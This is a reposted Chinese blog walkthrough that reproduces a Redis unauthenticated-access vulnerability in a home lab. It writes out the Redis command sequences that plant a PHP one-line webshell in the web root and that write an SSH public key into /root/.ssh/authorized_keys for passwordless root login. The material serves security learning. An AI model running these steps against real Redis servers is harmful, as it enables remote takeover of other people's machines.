redis未授权漏洞复现

发布时间:2023年12月20日

什么是redis

redis就是个数据库,跟mysql不同的地方在于redis主要将数据存在内存中,读写速度非常快

redis未授权

其原因很简单,就是redis服务器在默认安装好不配置的情况下可以直接免密码登录,登录后在web目录写入一句话木马,或者写入ssh公钥,实现免密码登录ssh

环境搭建

  • 使用kali自带的redis,但有一点需要注意:kali中的redis默认开启了保护,需要关闭
    vim /etc/redis/redis.conf,进入配置文件

    protected-mode设置成no

    在这里插入图片描述

  • win11做攻击机,专门实现ssh免密码登录

复现步骤

redis免密登录写一句话木马
  1. 开启redis服务
    在这里插入图片描述

    测试一下,成功免密登录

    在这里插入图片描述

  2. 在网站根路径写入一句话木马

    1、set dir /var/www/html		设置写入路径
    2、set dbfilename 1.php			设置写入文件名
    3、set 'webshell' '<?php @eval($_POST[666])?>'		写入内容
    4、save		保存
    

    在这里插入图片描述

    kali自带的redis有bug,命令输入显示ok但实际不生效,建议在centos中安装

    centos安装redis步骤

    1、wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo		下载yum源
    2、yum install -y http://rpms.famillecollet.com/enterprise/remi-release-7.rpm		丰富yum源软件包
    3、yum -y install redis*		安装redis
    
通过redis漏洞写入ssh公钥实现免密登录
  1. 开启kali中ssh服务systemctl start sshd

  2. 在win11安装Git用于伪造公私钥

    安装好后右键选择git bash here

    在这里插入图片描述

    进入bash解释器

    在这里插入图片描述

  3. 输入ssh-keygen -t rsa,指定算法,在当前用户家目录下生成密钥
    在这里插入图片描述
    在这里插入图片描述

  4. 将生成的公钥复制,通过redis写入kali的.ssh文件中,即可实现免密登录
    在这里插入图片描述

    写入步骤

    1、set dir /root/.ssh/
    2、set dbfilename authorized_keys		文件名不能错
    3、set margin "公钥"
    4、save
    

    尝试登录,成功免密登录
    在这里插入图片描述

文章来源:https://blog.csdn.net/m0_60870041/article/details/135036508
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。